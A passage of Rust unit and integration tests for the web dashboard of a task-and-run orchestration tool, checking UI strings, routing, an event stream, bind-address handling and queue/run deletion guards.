11014 assert!(APP_JS.contains("provisional"));
11015 for id in [
11016 "run-tab-overview",
11017 "run-tab-timeline",
11018 "run-tab-report",
11019 "run-report",
11020 "runs-scope",
11021 ] {
11022 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11023 }
11024 assert!(!INDEX_HTML.contains("runs-tree"));
11025 assert!(!INDEX_HTML.contains("run-raw-panel"));
11026 assert!(APP_JS.contains("resume"));
11028 assert!(APP_JS.contains("unreadable"));
11030 }
11031
11032 #[test]
11033 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11034 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11035 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11036 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11037 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11038 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11039 assert!(APP_JS.contains("unreadable` : null"));
11041 }
11042
11043 #[test]
11044 fn the_run_detail_payload_says_whether_the_run_is_done() {
11045 for (status, done) in [
11047 (RunStatus::Superseded, true),
11048 (RunStatus::Blocked, true),
11049 (RunStatus::Landing, false),
11050 ] {
11051 let mut state = RunState::new(
11052 std::path::PathBuf::from("/repo"),
11053 "main".to_owned(),
11054 "abc".to_owned(),
11055 "x".to_owned(),
11056 crate::config::Config::default(),
11057 );
11058 state.status = status;
11059 let v = serde_json::to_value(RunDetailView::of(
11060 state,
11061 crate::run::Liveness::Unknown,
11062 None,
11063 None,
11064 None,
11065 ))
11066 .unwrap();
11067 assert_eq!(v["done"], done, "{status:?}");
11068 }
11069 }
11070
11071 #[test]
11072 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11073 assert!(APP_JS.contains("function landView(run, raw) {"));
11077 assert!(
11078 APP_JS.contains(
11079 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11080 )
11081 );
11082 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11083 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11084 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11085 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11086 }
11087
11088 #[test]
11089 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11090 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11091 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11092 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11093 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11094 }
11095
11096 #[test]
11097 fn review_rounds_label_a_distinct_verified_head() {
11098 assert!(APP_JS.contains("round.verified_head"));
11099 assert!(APP_JS.contains("verified HEAD"));
11100 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11101 }
11102
11103 #[test]
11104 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11105 assert!(APP_JS.contains("blocked: { glyph:"));
11109 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11110
11111 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11115 assert!(
11116 APP_JS.contains(
11117 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11118 ),
11119 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11120 );
11121 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11125
11126 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11130 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11131 assert!(
11132 APP_JS.contains("location.hash = \"#/questions\";"),
11133 "a question node must jump to the Questions screen, not pretend to be a task"
11134 );
11135
11136 assert!(APP_JS.contains("Resolved questions"));
11139 assert!(APP_JS.contains("r.answersList.append("));
11140 assert!(APP_CSS.contains(".task-answers"));
11141 {
11142 let start = APP_JS
11143 .find("function updateTalkTaskRow")
11144 .expect("updateTalkTaskRow");
11145 let body = &APP_JS[start..];
11146 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11147 assert!(
11148 body.contains(
11149 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11150 ),
11151 "a chat-filed task row must link to the task page"
11152 );
11153 assert!(
11154 !body.contains("#/runs/") && !body.contains("#/queue/"),
11155 "the row must not branch to a run or the queue card"
11156 );
11157 assert!(APP_CSS.contains(".talk-task-link"));
11158 }
11159 }
11160
11161 #[test]
11162 fn a_task_notification_links_to_the_task_page() {
11163 let start = APP_JS
11165 .find("function noticeLink(")
11166 .expect("noticeLink exists");
11167 let body = &APP_JS[start..];
11168 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11169 assert!(
11170 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11171 "a task notice's link must target the task page"
11172 );
11173 assert!(
11174 !body.contains("#/queue/"),
11175 "regression: the task link must not go back to the Backlog route"
11176 );
11177 assert!(
11178 APP_JS.contains(
11179 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11180 ),
11181 "`#/tasks/<id>` must parse into the task route"
11182 );
11183
11184 assert!(
11186 APP_JS.contains(
11187 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11188 ),
11189 "`#/queue/<id>` must parse into a route carrying that id"
11190 );
11191
11192 assert!(APP_JS.contains("state.queueFocus = route.id;"));
11196 assert!(APP_JS.contains("function consumeQueueFocus()"));
11197 assert!(APP_JS.contains("jumpToTask(id)"));
11198 }
11199
11200 #[test]
11203 fn chat_rows_put_the_title_alone_on_the_first_line() {
11204 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
11205 assert!(APP_CSS.contains(
11206 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11207 ));
11208 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11209 assert!(APP_JS.contains("class: \"badge talk-unread\""));
11210 }
11211
11212 #[test]
11213 fn run_rows_put_the_title_alone_on_the_first_line() {
11214 assert!(
11215 APP_CSS.contains(
11216 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
11217 )
11218 );
11219 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11220 assert!(APP_JS.contains("class: \"card run-card\""));
11221 assert!(APP_JS.contains("class: \"repo run-id\""));
11222 }
11223
11224 #[test]
11228 fn wide_screens_show_list_and_preview_side_by_side() {
11229 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11231 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11232 assert!(APP_CSS.contains("main[data-split]"));
11233 assert!(APP_CSS.contains("body[data-split]"));
11234
11235 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
11237 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11238 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11239 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11240 assert!(INDEX_HTML.contains("id=\"split-empty\""));
11241
11242 assert!(APP_JS.contains("function markSelected() {"));
11244 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11245 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11246 assert!(
11248 APP_CSS.contains(
11249 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11250 )
11251 );
11252
11253 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11255 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11256 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11257 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11258
11259 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11263 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11264 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11265 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11266
11267 assert!(APP_JS.contains("sandbox: \"\""));
11269 assert!(!APP_JS.contains("sandbox: \"allow"));
11270 }
11271
11272 #[test]
11273 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11274 assert!(
11283 APP_JS.contains(
11284 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
11285 ),
11286 "the search-clearing branch must run before state.queueFocus is cleared, or the \
11287 recursive renderQueue() call has nothing left to jump to"
11288 );
11289 assert!(
11290 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11291 "state.queueFocus must be cleared only once the jump has landed, so a card that \
11292 arrives later still gets it"
11293 );
11294 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11295 assert!(APP_JS.contains("is not in the current Backlog."));
11296 assert!(APP_JS.contains("li.card[data-task-id=\""));
11297 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11298 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11299 assert!(APP_CSS.contains(".card-permalink"));
11300 assert!(APP_CSS.contains(".queue-focus-status"));
11301 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11302 }
11303
11304 #[test]
11305 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11306 assert!(
11314 APP_JS.contains(
11315 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11316 ),
11317 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11318 );
11319 }
11320
11321 #[test]
11322 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11323 assert!(
11324 APP_JS.contains("round.verified_head !== round.head"),
11325 "a round that verified an earlier commit must be visibly distinct from one that \
11326 verified the head reviewers are looking at now"
11327 );
11328 assert!(
11329 APP_JS.contains("round.verified_at"),
11330 "when a check ran must be on the wire, not just which commit"
11331 );
11332 assert!(
11333 APP_JS.contains("resource_blocked"),
11334 "a command magi never got to run (shared build cache contention) must not render \
11335 the same as a command that ran and failed"
11336 );
11337 }
11338
11339 #[test]
11340 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11341 assert!(
11349 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11350 "every KPI tile built through statusTile() must route its click through \
11351 openRunsFiltered, the single place that sets the Runs filter"
11352 );
11353 for (label, status) in [
11354 ("Merged", "merged"),
11355 ("Ready", "ready"),
11356 ("Blocked", "blocked"),
11357 ("Stalled", "stalled"),
11358 ] {
11359 let call = format!("statusTile(\"{label}\", t.{status}, ");
11360 assert!(
11361 APP_JS.contains(&call),
11362 "expected the {label} KPI tile built via {call}..."
11363 );
11364 assert!(
11365 APP_JS.contains(&format!("status === \"{status}\"")),
11366 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11367 compare a run against, not one invented only for the stats tile"
11368 );
11369 }
11370 assert!(
11371 APP_JS.contains("function openRunsFiltered(status)"),
11372 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11373 );
11374 assert!(
11375 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11376 "matchesFilter must gate on the exact status a KPI tile named"
11377 );
11378 assert!(
11386 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
11387 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11388 hashchange event that may never fire"
11389 );
11390 }
11391
11392 #[test]
11393 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11394 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11400 assert!(
11401 APP_JS.contains(
11402 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
11403 ),
11404 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11405 guard for an incompatible tree section"
11406 );
11407 }
11408
11409 #[test]
11410 fn every_stats_queue_tile_names_a_real_queue_section() {
11411 assert!(
11417 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11418 "every queue tile built through sectionTile() must route its click through \
11419 openQueueSectionFocus"
11420 );
11421 for key in ["upnext", "running", "done", "held", "blocked"] {
11422 assert!(
11423 APP_JS.contains(&format!("{{ key: \"{key}\",")),
11424 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11425 );
11426 }
11427 for line in [
11431 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11432 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11433 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11434 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11435 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11436 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11437 ] {
11438 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11439 }
11440 }
11441
11442 #[test]
11443 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11444 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11451 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11452 assert!(APP_JS.contains("function revealQueueSection(details)"));
11453 assert!(
11454 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
11455 "renderQueue() must consume both focus channels on every pass"
11456 );
11457 assert!(
11458 APP_JS.contains(
11459 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
11460 ),
11461 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11462 the recursive renderQueue() call has nothing left to reveal"
11463 );
11464 assert!(
11465 APP_JS.contains(
11466 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
11467 ),
11468 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11469 );
11470 assert!(
11478 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
11479 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11480 hashchange event that may never fire"
11481 );
11482 }
11483
11484 #[tokio::test]
11485 async fn the_change_stream_announces_the_current_revisions_on_connect() {
11486 let f = Fixture::start().await;
11487
11488 let mut socket = tokio::net::TcpStream::connect(f.addr)
11489 .await
11490 .expect("connect");
11491 socket
11492 .write_all(
11493 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11494 )
11495 .await
11496 .expect("write request");
11497
11498 let mut seen = String::new();
11501 let mut buf = [0u8; 1024];
11502 while !seen.contains("event: change") {
11503 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11504 .await
11505 .expect("the stream must speak within five seconds")
11506 .expect("read");
11507 assert!(read > 0, "the server closed the change stream: {seen}");
11508 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11509 }
11510
11511 assert!(
11512 seen.to_lowercase()
11513 .contains("content-type: text/event-stream"),
11514 "the browser only reconnects automatically for a real SSE stream: {seen}"
11515 );
11516 let data = seen
11517 .lines()
11518 .find_map(|l| l.strip_prefix("data:"))
11519 .expect("a data line");
11520 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11521 assert!(
11522 payload["queue_rev"].is_u64()
11523 && payload["runs_rev"].is_u64()
11524 && payload["questions_rev"].is_u64()
11525 && payload["talks_rev"].is_u64()
11526 && payload["notifications_rev"].is_u64()
11527 && payload["loop_rev"].is_u64(),
11528 "the client needs one revision per store to know what to refetch, \
11529 and `talks_rev` is the only notification a standing talk gets - a \
11530 phone whose radio slept through a turn learns about it here, as \
11531 does one whose operator started the loop from another device: \
11532 {payload}"
11533 );
11534
11535 let health = f.get("/api/health").await.json();
11542 for key in [
11543 "queue_rev",
11544 "runs_rev",
11545 "questions_rev",
11546 "talks_rev",
11547 "notifications_rev",
11548 "loop_rev",
11549 ] {
11550 assert!(
11551 health[key].is_u64(),
11552 "health is the change stream's fallback and is missing `{key}`: {health}"
11553 );
11554 }
11555 }
11556
11557 #[tokio::test]
11558 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
11559 let f = Fixture::start().await;
11560 let before = f.get("/api/health").await.json()["talks_rev"]
11561 .as_u64()
11562 .expect("talks_rev");
11563
11564 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
11565 std::thread::sleep(Duration::from_millis(10));
11566 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
11567 on_disk.turns.push(crate::talk::Turn {
11568 who: crate::talk::Who::Operator,
11569 body: "a new turn".to_owned(),
11570 at: Timestamp::now(),
11571 attachments: Vec::new(),
11572 usage: None,
11573 });
11574 f.talks().put(&mut on_disk).expect("record a turn");
11575
11576 let after = f.get("/api/health").await.json()["talks_rev"]
11577 .as_u64()
11578 .expect("talks_rev");
11579 assert_ne!(
11580 before, after,
11581 "a phone must be able to notice a talk's reply without polling every store"
11582 );
11583 }
11584
11585 #[test]
11586 fn bind_reads_back_from_the_spelling_the_cli_prints() {
11587 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
11591 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
11592 }
11593 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
11594 assert!("everywhere".parse::<Bind>().is_err());
11595 }
11596
11597 #[test]
11598 fn an_explicit_bind_address_is_taken_verbatim() {
11599 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
11600
11601 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
11602
11603 assert_eq!(addr, asked);
11604 assert!(
11605 warning.is_none(),
11606 "an operator who named an address gets no lecture"
11607 );
11608 }
11609
11610 #[test]
11611 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
11612 let (addr, warning) = resolve_bind(&Bind::Auto);
11613
11614 match addr {
11621 IpAddr::V4(ip) if is_tailnet(&ip) => {
11622 assert!(warning.is_none(), "a tailnet address needs no warning");
11623 }
11624 other => {
11625 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
11626 let warning = warning.expect("a fallback has to explain itself");
11627 assert!(
11628 warning.contains("127.0.0.1") && warning.contains("local-only"),
11629 "the warning says what happened and what it costs: {warning}"
11630 );
11631 }
11632 }
11633 }
11634
11635 #[test]
11636 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
11637 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
11641 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
11642 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
11643 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
11644 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
11645 }
11646
11647 #[test]
11648 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
11649 let ids = vec![
11650 "20260902-140501-aaaa".to_owned(),
11651 "20260902-140502-aabb".to_owned(),
11652 ];
11653
11654 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
11655 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
11656 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
11657
11658 assert_eq!(missing.status, StatusCode::NOT_FOUND);
11659 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
11660 assert_eq!(short, "20260902-140502-aabb");
11661 }
11662 #[tokio::test]
11663 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
11664 let fx = Fixture::start().await;
11670 let id = panel(
11671 &fx,
11672 "<img src=\"shot.png\">",
11673 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
11674 );
11675
11676 let doc = fx
11678 .get(&format!("/api/questions/{id}/panel/index.html"))
11679 .await;
11680 assert_eq!(doc.status, 200, "{}", doc.body);
11681 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
11682
11683 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
11684 assert_eq!(sibling.status, 200, "{}", sibling.body);
11685 assert_eq!(sibling.header("content-type"), Some("image/png"));
11686 assert_eq!(
11687 sibling.header("content-security-policy"),
11688 Some(PANEL_CSP),
11689 "the sibling route must carry the same policy as the asset route"
11690 );
11691
11692 assert_eq!(
11695 fx.head(&format!("/api/questions/{id}/panel")).await.status,
11696 200
11697 );
11698 }
11699
11700 #[test]
11701 fn runs_revision_moves_when_deleting_an_older_run() {
11702 let temp = TempDir::new().expect("tempdir");
11703 let runs = temp.path().join("runs");
11704 std::fs::create_dir_all(&runs).expect("create runs dir");
11705
11706 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
11707
11708 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
11709 std::thread::sleep(Duration::from_millis(10));
11710 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
11711
11712 let rev_before = runs_revision(&runs);
11713 assert!(rev_before > 0);
11714
11715 let old_dir = runs.join("20260901-100000-old1");
11716 std::fs::remove_dir_all(&old_dir).expect("remove old run");
11717
11718 let rev_after = runs_revision(&runs);
11719 assert_ne!(
11720 rev_before, rev_after,
11721 "deleting an older run must change the revision so other clients see the deletion"
11722 );
11723 }
11724
11725 fn write_state(runs: &FsPath, state: &RunState) {
11730 let dir = runs.join(&state.id);
11731 std::fs::create_dir_all(&dir).expect("run dir");
11732 std::fs::write(
11733 dir.join("run.json"),
11734 serde_json::to_string_pretty(state).expect("serialize run"),
11735 )
11736 .expect("write run.json");
11737 }
11738
11739 #[test]
11744 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
11745 let temp = TempDir::new().expect("tempdir");
11746 let runs = temp.path().join("runs");
11747 std::fs::create_dir_all(&runs).expect("create runs dir");
11748 let mut state = RunState::new(
11749 PathBuf::from("/repo/magi"),
11750 "main".to_owned(),
11751 "0123456789abcdef".to_owned(),
11752 "task".to_owned(),
11753 Config::default(),
11754 );
11755 state.id = "20260902-100000-c0de".to_owned();
11756 write_state(&runs, &state);
11757
11758 let rev_idle = runs_revision(&runs);
11759 std::thread::sleep(Duration::from_millis(10));
11760 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
11761 write_state(&runs, &state);
11762 let rev_started = runs_revision(&runs);
11763 assert_ne!(
11764 rev_idle, rev_started,
11765 "a seat starting must move the revision"
11766 );
11767
11768 std::thread::sleep(Duration::from_millis(10));
11769 state.seat_finished("judge-1");
11770 write_state(&runs, &state);
11771 let rev_finished = runs_revision(&runs);
11772 assert_ne!(
11773 rev_started, rev_finished,
11774 "and clearing it again must move the revision a second time"
11775 );
11776 }
11777
11778 #[tokio::test]
11779 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
11780 let fx = Fixture::start().await;
11785 let q = fx.queue();
11786
11787 let mut t = Task::new(
11788 "Task".to_owned(),
11789 "Instruction".to_owned(),
11790 PathBuf::from("/repo"),
11791 Source::Human,
11792 );
11793 t.block(
11794 vec!["20260101-000000-dead".to_owned()],
11795 Some("waiting on Task 1".to_owned()),
11796 );
11797 t.answers.push(crate::queue::AnsweredQuestion {
11798 question: "Which backend?".to_owned(),
11799 answer: "SQLite".to_owned(),
11800 });
11801 q.put(&mut t).expect("put t");
11802
11803 let res = fx.get("/api/queue").await;
11804 assert_eq!(res.status, 200);
11805 let list = res.json();
11806 let view = list
11807 .as_array()
11808 .expect("array")
11809 .iter()
11810 .find(|v| v["id"] == t.id)
11811 .expect("task in list");
11812 assert_eq!(view["status_str"], "blocked");
11813 assert_eq!(
11814 view["blocked_by"],
11815 serde_json::json!(["20260101-000000-dead"])
11816 );
11817 assert_eq!(view["block_reason"], "waiting on Task 1");
11818 assert_eq!(view["answers"][0]["question"], "Which backend?");
11819 assert_eq!(view["answers"][0]["answer"], "SQLite");
11820
11821 let res = fx
11825 .post(&format!("/api/queue/{}/hold", t.short()), None)
11826 .await;
11827 assert_eq!(res.status, 200);
11828 let held = res.json();
11829 assert_eq!(held["status_str"], "held");
11830 assert_eq!(held["blocked_by"], serde_json::json!([]));
11831 assert!(held["block_reason"].is_null());
11832 assert_eq!(held["answers"][0]["answer"], "SQLite");
11833 }
11834
11835 #[tokio::test]
11836 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
11837 let fx = Fixture::start().await;
11838 let q = fx.queue();
11839 let mk = |title: &str| {
11840 Task::new(
11841 title.to_owned(),
11842 "Instruction".to_owned(),
11843 PathBuf::from("/repo"),
11844 Source::Human,
11845 )
11846 };
11847 let mut root = mk("root");
11848 root.hold_manual(Some("waiting".to_owned()));
11849 q.put(&mut root).unwrap();
11850 let mut mid = mk("mid");
11851 mid.block(vec![root.id.clone()], None);
11852 q.put(&mut mid).unwrap();
11853 let mut leaf = mk("leaf");
11854 leaf.block(vec![mid.id.clone()], None);
11855 q.put(&mut leaf).unwrap();
11856
11857 let list = fx.get("/api/queue").await.json();
11858 let find = |id: &str| {
11859 list.as_array()
11860 .unwrap()
11861 .iter()
11862 .find(|v| v["id"] == id)
11863 .unwrap()
11864 .clone()
11865 };
11866 let leaf_view = find(&leaf.id);
11867 assert_eq!(
11868 leaf_view["waits_on"],
11869 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
11870 );
11871 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
11872 assert_eq!(
11873 find(&mid.id)["waits_on"],
11874 serde_json::json!([format!("{} (held)", root.short())])
11875 );
11876 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
11877 }
11878
11879 #[tokio::test]
11880 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
11881 let fx = Fixture::start().await;
11882 let q = fx.queue();
11883
11884 let mut t1 = Task::new(
11886 "Task 1".to_owned(),
11887 "Instruction 1".to_owned(),
11888 PathBuf::from("/repo"),
11889 Source::Human,
11890 );
11891 let run_id = "20260901-000000-r111";
11892 t1.runs.push(run_id.to_owned());
11893 write_run(&fx.runs(), run_id, RunStatus::Merged);
11894 q.put(&mut t1).expect("put t1");
11895
11896 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
11898 assert_eq!(res.status, 204);
11899 assert!(res.body.is_empty(), "204 No Content has no body");
11900 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
11901 assert!(
11902 fx.runs().join(run_id).exists(),
11903 "run directory must not be deleted when its task is deleted"
11904 );
11905
11906 let mut t2 = Task::new(
11908 "Task 2".to_owned(),
11909 "Instruction 2".to_owned(),
11910 PathBuf::from("/repo"),
11911 Source::Human,
11912 );
11913 t2.status = TaskStatus::Running;
11914 q.put(&mut t2).expect("put t2");
11915 let mut beat = crate::daemon::Status::new();
11916 beat.current = vec![crate::daemon::Current {
11917 task: t2.id.clone(),
11918 run: "20260901-000000-r222".to_owned(),
11919 }];
11920 beat.updated_at = jiff::Timestamp::now();
11921 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11922 .expect("publish a heartbeat");
11923 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
11924 assert_eq!(res.status, 409);
11925 assert!(
11926 res.json()["error"]
11927 .as_str()
11928 .unwrap()
11929 .contains("live daemon")
11930 );
11931 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
11932
11933 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
11939 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11940 .expect("leave a stale heartbeat");
11941 let mut t3 = Task::new(
11942 "Task 3".to_owned(),
11943 "Instruction 3".to_owned(),
11944 PathBuf::from("/repo"),
11945 Source::Human,
11946 );
11947 t3.status = TaskStatus::Running;
11948 q.put(&mut t3).expect("put t3");
11949 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
11950 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
11951 assert_eq!(res.status, 204);
11952 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
11953 assert!(
11954 q.claim(&t3.id).is_ok(),
11955 "the stale lock went with it, so the id is claimable again"
11956 );
11957
11958 let res = fx.delete("/api/queue/nonexistent").await;
11960 assert_eq!(res.status, 404);
11961 }
11962
11963 #[tokio::test]
11964 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
11965 let fx = Fixture::start().await;
11966 let runs = fx.runs();
11967
11968 let run_id = "20260901-000000-fold";
11970 let mut state = RunState::new(
11971 PathBuf::from("/repo"),
11972 "main".to_owned(),
11973 "abc".to_owned(),
11974 "instruction".to_owned(),
11975 Config::default(),
11976 );
11977 state.id = run_id.to_owned();
11978 state.status = RunStatus::Merged;
11979 state.candidates.push(crate::run::Candidate {
11980 index: 0,
11981 label: 'A',
11982 agent: "a".to_owned(),
11983 branch: "b".to_owned(),
11984 worktree: PathBuf::from("/w"),
11985 summary: String::new(),
11986 stat: String::new(),
11987 files: 1,
11988 commits: 1,
11989 empty: false,
11990 failed: None,
11991 verified_noop: None,
11992 duration_ms: 0,
11993 folded: true,
11994 });
11995 let dir = runs.join(run_id);
11996 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
11997 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
11998 .expect("write artifact");
